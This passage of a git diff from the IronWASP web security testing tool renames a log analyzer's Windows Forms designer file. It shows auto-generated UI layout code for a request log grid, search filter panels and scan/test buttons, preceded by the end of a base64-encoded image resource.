eKRaLq7BJA3pVEZXy0VJm+YREQD//Ba4w7cRHrgdqPo2otMRAfCM9YCjfNuRMgPAKPH+/hEByAa/B27y + bUSKXA/8wbcRgghAJrBpxH9GZxQTGQBOsfcseEYEIDt0SjGRqzERgJABRAAygvWIo8l3MZG1mJl/33YI + FhGAbHEr+S4mMg8z+y9kBBGADGE946nks5iIFPnIICIA2aMP+JVvIxJgbrVclCIfGUMEIGMMigLyVExk + FXC6byOEoYgAZJP7gAt8GxEjs6vl4v2+jRCGIgKQQWwUcDr5KCayHDn1mFlEADJKtVzMS5YcKfKRYUQA + ss14wi4m8iKS/zDTiABkmGq5+BhhZ8qtVMvFJ3wbIbgRAcg+k4HnfBvRAsuAKb6NEOojApBxquXi04T5 + Ik2ulovLfBsh1EcEIAxCKybyODDNtxHC8IgABIAtJjLJtx1N0CNFPsJABCAcziaMYiJLgXN9GyE0hghA + INhiIuN829EAY6XIRziIAITFLGCxbyPqcD9wvm8jhMYRAQiIarm4EjjNtx11OLVaLubpEFPuEQEIj0uA + e3wbEcFdwKW+jRCaQwQgMKrlYj9wim87IjjFFjoRAkIEIEyyVkxEinwEighAgNiCGlmKAk6RIh9hIgIQ + LlcBN/o2ApPO/BrfRgitIQIQKDaN+Cn4LSYiRT4CRwQgbK4D/uTx969BinwEjQhAwFjPOwo/xUTWYry/ + 78cgtIEIQPj8DbjSw+9egRT5CB4RgMCxHngU6RYT6UdKfOUCEYB8cCfw6xR/7zLMzj8hcEQAcoD1xKNJ + p5jIaqTEV24QAcgPaRUTOR9z6k/IASIAOcF65DHAygR/ZgUwRrx/fhAByBHVcnEJyWbj6a2Wiw/5vk8h + PkQA8kcPyRQTkSIfOUQEIGdUy8VHgV8m0PU0KfKRP0QA8skk4NkY+1uGKVAi5AwRgBxSLRefAabG2OUU + KfKRT0QA8svPiaeYyOOYwiRCDhEByCm2mMjEGLqSIh85RgQg35wDPNLG96XIR84RAcgx1XLxZWBsG11I + kY+cIwKQf2YCD7TwvfuB2b6NF5JFBCDnVMvFVbRWTOQ0+10hx4gAdAYX01wxkbuAub6NFpJHBKADsMVE + RjfxldFS5KMzEAHoHH5DY8VEbgfm+TZWSAcRgA6hwWIiAxjvL2m+OwQRgM7iKuCmOu03AFf7NlJIDxGA + DmJQGvEoDz8AjBLv31ls4tsAIXWuA7aPuH4T8JRv4wRBEARBEARBEARBEARBEARBEARBEARBEARBEARB + EARBEARBEARBEIQI/h+hEP2A1kjQfgAAAABJRU5ErkJggg== + + + \ No newline at end of file diff --git a/IronWASP/LogAnalyzer.Designer.cs b/Iron/LogAnalyzerAndTester.Designer.cs similarity index 97% rename from IronWASP/LogAnalyzer.Designer.cs rename to Iron/LogAnalyzerAndTester.Designer.cs index b2def3a..3c84e8c 100644 --- a/IronWASP/LogAnalyzer.Designer.cs +++ b/Iron/LogAnalyzerAndTester.Designer.cs @@ -1,1324 +1,1324 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class LogAnalyzer - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(LogAnalyzer)); - this.LogGrid = new System.Windows.Forms.DataGridView(); - this.SelectClmn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.IDClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.HostNameSelectClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.MethodClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.URLClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.FileClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.SSLClmn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.ParametersClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.CodeClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.LengthClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ClmnMIME = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.SetCookieClmn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.NotesClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.StartTestBtn = new System.Windows.Forms.Button(); - this.RunModulesBtn = new System.Windows.Forms.Button(); - this.StartScanBtn = new System.Windows.Forms.Button(); - this.SelectAllCB = new System.Windows.Forms.CheckBox(); - this.panel8 = new System.Windows.Forms.Panel(); - this.label5 = new System.Windows.Forms.Label(); - this.MatchKeywordInResponseBodySectionCB = new System.Windows.Forms.CheckBox(); - this.MatchKeywordInResponseHeadersSectionCB = new System.Windows.Forms.CheckBox(); - this.MatchKeywordInRequestBodySectionCB = new System.Windows.Forms.CheckBox(); - this.MatchKeywordInRequestHeadersSectionCB = new System.Windows.Forms.CheckBox(); - this.MatchKeywordInAllSectionsCB = new System.Windows.Forms.CheckBox(); - this.label4 = new System.Windows.Forms.Label(); - this.MatchKeywordTB = new System.Windows.Forms.TextBox(); - this.MatchKeywordCB = new System.Windows.Forms.CheckBox(); - this.panel7 = new System.Windows.Forms.Panel(); - this.MatchRequestUrlTypeCombo = new System.Windows.Forms.ComboBox(); - this.MatchRequestUrlKeywordTB = new System.Windows.Forms.TextBox(); - this.MatchRequestUrlCB = new System.Windows.Forms.CheckBox(); - this.panel6 = new System.Windows.Forms.Panel(); - this.SearchBtn = new System.Windows.Forms.Button(); - this.label3 = new System.Windows.Forms.Label(); - this.SearchTypeNewRB = new System.Windows.Forms.RadioButton(); - this.SearchTypeChainedRB = new System.Windows.Forms.RadioButton(); - this.LogSourceAndIdsPanel = new System.Windows.Forms.Panel(); - this.LogIdsRangeBelowTB = new System.Windows.Forms.TextBox(); - this.SelectLogSourceCombo = new System.Windows.Forms.ComboBox(); - this.label1 = new System.Windows.Forms.Label(); - this.label2 = new System.Windows.Forms.Label(); - this.LogIdsRangeAnyRB = new System.Windows.Forms.RadioButton(); - this.LogIdsRangeAboveCB = new System.Windows.Forms.CheckBox(); - this.LogIdsRangeBelowCB = new System.Windows.Forms.CheckBox(); - this.LogIdsRangeCustomRB = new System.Windows.Forms.RadioButton(); - this.LogIdsRangeAboveTB = new System.Windows.Forms.TextBox(); - this.panel4 = new System.Windows.Forms.Panel(); - this.MatchFileExtensionsMinusRB = new System.Windows.Forms.RadioButton(); - this.MatchFileExtensionsPlusRB = new System.Windows.Forms.RadioButton(); - this.MatchFileExtensionsTB = new System.Windows.Forms.TextBox(); - this.MatchFileExtensionsCB = new System.Windows.Forms.CheckBox(); - this.panel3 = new System.Windows.Forms.Panel(); - this.MatchHostNamesMinusRB = new System.Windows.Forms.RadioButton(); - this.MatchHostNamesPlusRB = new System.Windows.Forms.RadioButton(); - this.MatchHostNamesTB = new System.Windows.Forms.TextBox(); - this.MatchHostNamesCB = new System.Windows.Forms.CheckBox(); - this.panel2 = new System.Windows.Forms.Panel(); - this.MatchResponseCodesMinusRB = new System.Windows.Forms.RadioButton(); - this.MatchResponseCodesPlusRB = new System.Windows.Forms.RadioButton(); - this.MatchResponseCodesTB = new System.Windows.Forms.TextBox(); - this.MatchResponseCodesCB = new System.Windows.Forms.CheckBox(); - this.panel1 = new System.Windows.Forms.Panel(); - this.MatchRequestMethodsMinusRB = new System.Windows.Forms.RadioButton(); - this.MatchRequestMethodsPlusRB = new System.Windows.Forms.RadioButton(); - this.MatchRequestMethodsTB = new System.Windows.Forms.TextBox(); - this.MatchRequestMethodsCB = new System.Windows.Forms.CheckBox(); - this.BaseSplit = new System.Windows.Forms.SplitContainer(); - this.DoDiffBtn = new System.Windows.Forms.Button(); - this.SearchResultsCountLbl = new System.Windows.Forms.Label(); - this.SearchProgressBar = new System.Windows.Forms.ProgressBar(); - this.LoadLogProgressBar = new System.Windows.Forms.ProgressBar(); - this.LogDisplayTabs = new System.Windows.Forms.TabControl(); - this.tabPage12 = new System.Windows.Forms.TabPage(); - this.RequestView = new IronWASP.RequestView(); - this.tabPage29 = new System.Windows.Forms.TabPage(); - this.ResponseView = new IronWASP.ResponseView(); - this.BaseTabs = new System.Windows.Forms.TabControl(); - this.SearchFilterTab = new System.Windows.Forms.TabPage(); - this.SearchFilterPanel = new System.Windows.Forms.Panel(); - this.textBox2 = new System.Windows.Forms.TextBox(); - this.Step0StatusTB = new System.Windows.Forms.TextBox(); - this.SearchResultsTab = new System.Windows.Forms.TabPage(); - this.label6 = new System.Windows.Forms.Label(); - ((System.ComponentModel.ISupportInitialize)(this.LogGrid)).BeginInit(); - this.panel8.SuspendLayout(); - this.panel7.SuspendLayout(); - this.panel6.SuspendLayout(); - this.LogSourceAndIdsPanel.SuspendLayout(); - this.panel4.SuspendLayout(); - this.panel3.SuspendLayout(); - this.panel2.SuspendLayout(); - this.panel1.SuspendLayout(); - this.BaseSplit.Panel1.SuspendLayout(); - this.BaseSplit.Panel2.SuspendLayout(); - this.BaseSplit.SuspendLayout(); - this.LogDisplayTabs.SuspendLayout(); - this.tabPage12.SuspendLayout(); - this.tabPage29.SuspendLayout(); - this.BaseTabs.SuspendLayout(); - this.SearchFilterTab.SuspendLayout(); - this.SearchFilterPanel.SuspendLayout(); - this.SearchResultsTab.SuspendLayout(); - this.SuspendLayout(); - // - // LogGrid - // - this.LogGrid.AllowUserToAddRows = false; - this.LogGrid.AllowUserToDeleteRows = false; - this.LogGrid.AllowUserToOrderColumns = true; - this.LogGrid.AllowUserToResizeRows = false; - this.LogGrid.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.LogGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; - this.LogGrid.BackgroundColor = System.Drawing.Color.White; - this.LogGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.LogGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; - this.LogGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; - this.LogGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.SelectClmn, - this.IDClmn, - this.HostNameSelectClmn, - this.MethodClmn, - this.URLClmn, - this.FileClmn, - this.SSLClmn, - this.ParametersClmn, - this.CodeClmn, - this.LengthClmn, - this.ClmnMIME, - this.SetCookieClmn, - this.NotesClmn}); - this.LogGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.LogGrid.GridColor = System.Drawing.Color.White; - this.LogGrid.Location = new System.Drawing.Point(0, 66); - this.LogGrid.Margin = new System.Windows.Forms.Padding(0); - this.LogGrid.MultiSelect = false; - this.LogGrid.Name = "LogGrid"; - this.LogGrid.ReadOnly = true; - this.LogGrid.RowHeadersVisible = false; - this.LogGrid.RowHeadersWidth = 10; - this.LogGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.LogGrid.Size = new System.Drawing.Size(876, 249); - this.LogGrid.TabIndex = 3; - this.LogGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.LogGrid_CellClick); - this.LogGrid.RowsRemoved += new System.Windows.Forms.DataGridViewRowsRemovedEventHandler(this.LogGrid_RowsRemoved); - // - // SelectClmn - // - this.SelectClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.SelectClmn.HeaderText = "SELECT"; - this.SelectClmn.Name = "SelectClmn"; - this.SelectClmn.ReadOnly = true; - this.SelectClmn.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.SelectClmn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; - this.SelectClmn.Width = 60; - // - // IDClmn - // - this.IDClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.IDClmn.HeaderText = "ID"; - this.IDClmn.MinimumWidth = 50; - this.IDClmn.Name = "IDClmn"; - this.IDClmn.ReadOnly = true; - this.IDClmn.Width = 50; - // - // HostNameSelectClmn - // - this.HostNameSelectClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.HostNameSelectClmn.HeaderText = "HOSTNAME"; - this.HostNameSelectClmn.Name = "HostNameSelectClmn"; - this.HostNameSelectClmn.ReadOnly = true; - this.HostNameSelectClmn.Width = 120; - // - // MethodClmn - // - this.MethodClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.MethodClmn.HeaderText = "METHOD"; - this.MethodClmn.Name = "MethodClmn"; - this.MethodClmn.ReadOnly = true; - this.MethodClmn.Width = 60; - // - // URLClmn - // - this.URLClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.URLClmn.HeaderText = "URL"; - this.URLClmn.MinimumWidth = 150; - this.URLClmn.Name = "URLClmn"; - this.URLClmn.ReadOnly = true; - // - // FileClmn - // - this.FileClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.FileClmn.HeaderText = "FILE"; - this.FileClmn.Name = "FileClmn"; - this.FileClmn.ReadOnly = true; - this.FileClmn.Width = 40; - // - // SSLClmn - // - this.SSLClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.SSLClmn.HeaderText = "SSL"; - this.SSLClmn.Name = "SSLClmn"; - this.SSLClmn.ReadOnly = true; - this.SSLClmn.Width = 30; - // - // ParametersClmn - // - this.ParametersClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ParametersClmn.HeaderText = "PARAMETERS"; - this.ParametersClmn.Name = "ParametersClmn"; - this.ParametersClmn.ReadOnly = true; - this.ParametersClmn.Width = 85; - // - // CodeClmn - // - this.CodeClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.CodeClmn.HeaderText = "CODE"; - this.CodeClmn.Name = "CodeClmn"; - this.CodeClmn.ReadOnly = true; - this.CodeClmn.Width = 45; - // - // LengthClmn - // - this.LengthClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.LengthClmn.HeaderText = "LENGTH"; - this.LengthClmn.Name = "LengthClmn"; - this.LengthClmn.ReadOnly = true; - this.LengthClmn.Width = 55; - // - // ClmnMIME - // - this.ClmnMIME.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ClmnMIME.HeaderText = "MIME"; - this.ClmnMIME.Name = "ClmnMIME"; - this.ClmnMIME.ReadOnly = true; - this.ClmnMIME.Width = 60; - // - // SetCookieClmn - // - this.SetCookieClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.SetCookieClmn.HeaderText = "SET-COOKIE"; - this.SetCookieClmn.Name = "SetCookieClmn"; - this.SetCookieClmn.ReadOnly = true; - this.SetCookieClmn.Width = 80; - // - // NotesClmn - // - this.NotesClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.NotesClmn.HeaderText = "NOTES"; - this.NotesClmn.Name = "NotesClmn"; - this.NotesClmn.ReadOnly = true; - this.NotesClmn.Visible = false; - this.NotesClmn.Width = 80; - // - // StartTestBtn - // - this.StartTestBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.StartTestBtn.Enabled = false; - this.StartTestBtn.Location = new System.Drawing.Point(625, 18); - this.StartTestBtn.Name = "StartTestBtn"; - this.StartTestBtn.Size = new System.Drawing.Size(121, 44); - this.StartTestBtn.TabIndex = 4; - this.StartTestBtn.Text = "Test Selected Sessions"; - this.StartTestBtn.UseVisualStyleBackColor = true; - this.StartTestBtn.Click += new System.EventHandler(this.StartTestBtn_Click); - // - // RunModulesBtn - // - this.RunModulesBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.RunModulesBtn.Enabled = false; - this.RunModulesBtn.Location = new System.Drawing.Point(752, 18); - this.RunModulesBtn.Name = "RunModulesBtn"; - this.RunModulesBtn.Size = new System.Drawing.Size(119, 44); - this.RunModulesBtn.TabIndex = 6; - this.RunModulesBtn.Text = "Run Modules on Selected Sessions"; - this.RunModulesBtn.UseVisualStyleBackColor = true; - this.RunModulesBtn.Click += new System.EventHandler(this.RunModulesBtn_Click); - // - // StartScanBtn - // - this.StartScanBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.StartScanBtn.Enabled = false; - this.StartScanBtn.Location = new System.Drawing.Point(511, 18); - this.StartScanBtn.Name = "StartScanBtn"; - this.StartScanBtn.Size = new System.Drawing.Size(108, 43); - this.StartScanBtn.TabIndex = 7; - this.StartScanBtn.Text = "Scan Selected Requests"; - this.StartScanBtn.UseVisualStyleBackColor = true; - this.StartScanBtn.Click += new System.EventHandler(this.StartScanBtn_Click); - // - // SelectAllCB - // - this.SelectAllCB.AutoSize = true; - this.SelectAllCB.Location = new System.Drawing.Point(8, 45); - this.SelectAllCB.Name = "SelectAllCB"; - this.SelectAllCB.Size = new System.Drawing.Size(94, 17); - this.SelectAllCB.TabIndex = 8; - this.SelectAllCB.Text = "Select all rows"; - this.SelectAllCB.UseVisualStyleBackColor = true; - this.SelectAllCB.Click += new System.EventHandler(this.SelectAllCB_Click); - // - // panel8 - // - this.panel8.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.panel8.BackColor = System.Drawing.Color.White; - this.panel8.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; - this.panel8.Controls.Add(this.label5); - this.panel8.Controls.Add(this.MatchKeywordInResponseBodySectionCB); - this.panel8.Controls.Add(this.MatchKeywordInResponseHeadersSectionCB); - this.panel8.Controls.Add(this.MatchKeywordInRequestBodySectionCB); - this.panel8.Controls.Add(this.MatchKeywordInRequestHeadersSectionCB); - this.panel8.Controls.Add(this.MatchKeywordInAllSectionsCB); - this.panel8.Controls.Add(this.label4); - this.panel8.Controls.Add(this.MatchKeywordTB); - this.panel8.Controls.Add(this.MatchKeywordCB); - this.panel8.Location = new System.Drawing.Point(14, 219); - this.panel8.Name = "panel8"; - this.panel8.Size = new System.Drawing.Size(852, 52); - this.panel8.TabIndex = 20; - // - // label5 - // - this.label5.AutoSize = true; - this.label5.Location = new System.Drawing.Point(595, 33); - this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(247, 13); - this.label5.TabIndex = 19; - this.label5.Text = "(Binary Request and Response bodies are ignored)"; - // - // MatchKeywordInResponseBodySectionCB - // - this.MatchKeywordInResponseBodySectionCB.AutoSize = true; - this.MatchKeywordInResponseBodySectionCB.Checked = true; - this.MatchKeywordInResponseBodySectionCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.MatchKeywordInResponseBodySectionCB.Enabled = false; - this.MatchKeywordInResponseBodySectionCB.Location = new System.Drawing.Point(488, 32); - this.MatchKeywordInResponseBodySectionCB.Name = "MatchKeywordInResponseBodySectionCB"; - this.MatchKeywordInResponseBodySectionCB.Size = new System.Drawing.Size(101, 17); - this.MatchKeywordInResponseBodySectionCB.TabIndex = 18; - this.MatchKeywordInResponseBodySectionCB.Text = "Response Body"; - this.MatchKeywordInResponseBodySectionCB.UseVisualStyleBackColor = true; - this.MatchKeywordInResponseBodySectionCB.Click += new System.EventHandler(this.MatchKeywordInResponseBodySectionCB_Click); - // - // MatchKeywordInResponseHeadersSectionCB - // - this.MatchKeywordInResponseHeadersSectionCB.AutoSize = true; - this.MatchKeywordInResponseHeadersSectionCB.Checked = true; - this.MatchKeywordInResponseHeadersSectionCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.MatchKeywordInResponseHeadersSectionCB.Enabled = false; - this.MatchKeywordInResponseHeadersSectionCB.Location = new System.Drawing.Point(365, 32); - this.MatchKeywordInResponseHeadersSectionCB.Name = "MatchKeywordInResponseHeadersSectionCB"; - this.MatchKeywordInResponseHeadersSectionCB.Size = new System.Drawing.Size(117, 17); - this.MatchKeywordInResponseHeadersSectionCB.TabIndex = 17; - this.MatchKeywordInResponseHeadersSectionCB.Text = "Response Headers"; - this.MatchKeywordInResponseHeadersSectionCB.UseVisualStyleBackColor = true; - this.MatchKeywordInResponseHeadersSectionCB.Click += new System.EventHandler(this.MatchKeywordInResponseHeadersSectionCB_Click); - // - // MatchKeywordInRequestBodySectionCB - // - this.MatchKeywordInRequestBodySectionCB.AutoSize = true; - this.MatchKeywordInRequestBodySectionCB.Checked = true; - this.MatchKeywordInRequestBodySectionCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.MatchKeywordInRequestBodySectionCB.Enabled = false; - this.MatchKeywordInRequestBodySectionCB.Location = new System.Drawing.Point(266, 32); - this.MatchKeywordInRequestBodySectionCB.Name = "MatchKeywordInRequestBodySectionCB"; - this.MatchKeywordInRequestBodySectionCB.Size = new System.Drawing.Size(93, 17); - this.MatchKeywordInRequestBodySectionCB.TabIndex = 16; - this.MatchKeywordInRequestBodySectionCB.Text = "Request Body"; - this.MatchKeywordInRequestBodySectionCB.UseVisualStyleBackColor = true; - this.MatchKeywordInRequestBodySectionCB.Click += new System.EventHandler(this.MatchKeywordInRequestBodySectionCB_Click); - // - // MatchKeywordInRequestHeadersSectionCB - // - this.MatchKeywordInRequestHeadersSectionCB.AutoSize = true; - this.MatchKeywordInRequestHeadersSectionCB.Checked = true; - this.MatchKeywordInRequestHeadersSectionCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.MatchKeywordInRequestHeadersSectionCB.Enabled = false; - this.MatchKeywordInRequestHeadersSectionCB.Location = new System.Drawing.Point(151, 32); - this.MatchKeywordInRequestHeadersSectionCB.Name = "MatchKeywordInRequestHeadersSectionCB"; - this.MatchKeywordInRequestHeadersSectionCB.Size = new System.Drawing.Size(109, 17); - this.MatchKeywordInRequestHeadersSectionCB.TabIndex = 15; - this.MatchKeywordInRequestHeadersSectionCB.Text = "Request Headers"; - this.MatchKeywordInRequestHeadersSectionCB.UseVisualStyleBackColor = true; - this.MatchKeywordInRequestHeadersSectionCB.Click += new System.EventHandler(this.MatchKeywordInRequestHeadersSectionCB_Click); - // - // MatchKeywordInAllSectionsCB - // - this.MatchKeywordInAllSectionsCB.AutoSize = true; - this.MatchKeywordInAllSectionsCB.Checked = true; - this.MatchKeywordInAllSectionsCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.MatchKeywordInAllSectionsCB.Enabled = false; - this.MatchKeywordInAllSectionsCB.Location = new System.Drawing.Point(108, 32); - this.MatchKeywordInAllSectionsCB.Name = "MatchKeywordInAllSectionsCB"; - this.MatchKeywordInAllSectionsCB.Size = new System.Drawing.Size(37, 17); - this.MatchKeywordInAllSectionsCB.TabIndex = 14; - this.MatchKeywordInAllSectionsCB.Text = "All"; - this.MatchKeywordInAllSectionsCB.UseVisualStyleBackColor = true; - this.MatchKeywordInAllSectionsCB.Click += new System.EventHandler(this.MatchKeywordInAllSectionsCB_Click); - // - // label4 - // - this.label4.AutoSize = true; - this.label4.Location = new System.Drawing.Point(6, 33); - this.label4.Name = "label4"; - this.label4.Size = new System.Drawing.Size(95, 13); - this.label4.TabIndex = 13; - this.label4.Text = "Match in Sections:"; - // - // MatchKeywordTB - // - this.MatchKeywordTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.MatchKeywordTB.Enabled = false; - this.MatchKeywordTB.Location = new System.Drawing.Point(114, 3); - this.MatchKeywordTB.Name = "MatchKeywordTB"; - this.MatchKeywordTB.Size = new System.Drawing.Size(733, 20); - this.MatchKeywordTB.TabIndex = 11; - this.MatchKeywordTB.TextChanged += new System.EventHandler(this.MatchKeywordTB_TextChanged); - // - // MatchKeywordCB - // - this.MatchKeywordCB.AutoSize = true; - this.MatchKeywordCB.Location = new System.Drawing.Point(8, 6); - this.MatchKeywordCB.Name = "MatchKeywordCB"; - this.MatchKeywordCB.Size = new System.Drawing.Size(103, 17); - this.MatchKeywordCB.TabIndex = 12; - this.MatchKeywordCB.Text = "Match Keyword:"; - this.MatchKeywordCB.UseVisualStyleBackColor = true; - this.MatchKeywordCB.CheckedChanged += new System.EventHandler(this.MatchKeywordCB_CheckedChanged); - // - // panel7 - // - this.panel7.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.panel7.BackColor = System.Drawing.Color.White; - this.panel7.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; - this.panel7.Controls.Add(this.MatchRequestUrlTypeCombo); - this.panel7.Controls.Add(this.MatchRequestUrlKeywordTB); - this.panel7.Controls.Add(this.MatchRequestUrlCB); - this.panel7.Location = new System.Drawing.Point(14, 277); - this.panel7.Name = "panel7"; - this.panel7.Size = new System.Drawing.Size(852, 27); - this.panel7.TabIndex = 19; - // - // MatchRequestUrlTypeCombo - // - this.MatchRequestUrlTypeCombo.Enabled = false; - this.MatchRequestUrlTypeCombo.FormattingEnabled = true; - this.MatchRequestUrlTypeCombo.Items.AddRange(new object[] { - "contains", - "does not contain", - "starts with", - "ends with", - "equals", - "does not equal"}); - this.MatchRequestUrlTypeCombo.Location = new System.Drawing.Point(116, 2); - this.MatchRequestUrlTypeCombo.Name = "MatchRequestUrlTypeCombo"; - this.MatchRequestUrlTypeCombo.Size = new System.Drawing.Size(176, 21); - this.MatchRequestUrlTypeCombo.TabIndex = 16; - this.MatchRequestUrlTypeCombo.SelectedIndexChanged += new System.EventHandler(this.MatchRequestUrlTypeCombo_SelectedIndexChanged); - this.MatchRequestUrlTypeCombo.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.MatchRequestUrlTypeCombo_KeyPress); - // - // MatchRequestUrlKeywordTB - // - this.MatchRequestUrlKeywordTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.MatchRequestUrlKeywordTB.Enabled = false; - this.MatchRequestUrlKeywordTB.Location = new System.Drawing.Point(319, 3); - this.MatchRequestUrlKeywordTB.Name = "MatchRequestUrlKeywordTB"; - this.MatchRequestUrlKeywordTB.Size = new System.Drawing.Size(528, 20); - this.MatchRequestUrlKeywordTB.TabIndex = 11; - this.MatchRequestUrlKeywordTB.TextChanged += new System.EventHandler(this.MatchRequestUrlKeywordTB_TextChanged); - // - // MatchRequestUrlCB - // - this.MatchRequestUrlCB.AutoSize = true; - this.MatchRequestUrlCB.Location = new System.Drawing.Point(8, 6); - this.MatchRequestUrlCB.Name = "MatchRequestUrlCB"; - this.MatchRequestUrlCB.Size = new System.Drawing.Size(91, 17); - this.MatchRequestUrlCB.TabIndex = 12; - this.MatchRequestUrlCB.Text = "Request URL"; - this.MatchRequestUrlCB.UseVisualStyleBackColor = true; - this.MatchRequestUrlCB.CheckedChanged += new System.EventHandler(this.MatchRequestUrlCB_CheckedChanged); - // - // panel6 - // - this.panel6.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.panel6.Controls.Add(this.SearchBtn); - this.panel6.Controls.Add(this.label3); - this.panel6.Controls.Add(this.SearchTypeNewRB); - this.panel6.Controls.Add(this.SearchTypeChainedRB); - this.panel6.Location = new System.Drawing.Point(14, 152); - this.panel6.Name = "panel6"; - this.panel6.Size = new System.Drawing.Size(852, 27); - this.panel6.TabIndex = 18; - // - // SearchBtn - // - this.SearchBtn.Location = new System.Drawing.Point(718, 2); - 